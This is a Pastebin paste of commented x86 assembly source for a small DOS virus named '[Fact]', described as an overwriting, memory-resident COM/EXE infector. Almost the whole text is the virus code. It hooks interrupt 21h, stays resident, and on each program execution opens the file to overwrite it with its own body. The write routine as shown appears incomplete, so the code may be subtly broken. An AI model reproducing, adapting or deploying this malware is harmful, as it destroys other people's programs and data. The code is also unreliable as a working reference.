Advertisement
FlyFar

Source Code for an Overwriting Resident COM/EXE Infector

Jan 7th, 2023
2,869
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
6502 TASM/64TASS 1.32 KB | Cybersecurity | 0 0
  1. .model tiny
  2. .code
  3.  org   100h
  4. code_begin:
  5.          mov     ax,3521h         ; Get interrupt vector 21h
  6.          int     21h
  7.          mov     word ptr [int21_addr],bx
  8.          mov     word ptr [Int21_addr+02h],es
  9.          mov     ah,25h         ; Set interrupt vector 21h
  10.          lea     dx,int21_virus     ; DX = offset of int21_virus
  11.          int     21h
  12.          xchg    ax,dx         ; DX = number of bytes to keep res...
  13.          int     27h         ; Terminate and stay resident!
  14. int21_virus  proc    near         ; Interrupt 21h of Fact
  15.          cmp     ah,4bh         ; Load and/or execute program?
  16.          jne     int21_exit      ; Not equal? Jump to int21_exit
  17.          mov     ax,3d01h         ; Open file (write)
  18.          int     21h
  19.          xchg    ax,bx         ; BX = file handle
  20.          push    cs          ; Save CS at stack
  21.          pop     ds          ; Load DS from stack (CS)
  22.          mov     ah,40h         ; Write to file
  23.          mov     cx,(code_end-code_begin)
  24.          lea     dx,code_begin     ; DX = offset of code_begin
  25. int21_exit:
  26.          db      0eah         ; JMP imm32 (opcode 0eah)
  27. code_end:
  28. int21_addr   dd      ?             ; Address of interrupt 21h
  29. virus_name   db      '[Fact]'            ; Name of the virus
  30.          endp
  31. end         code_begin
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement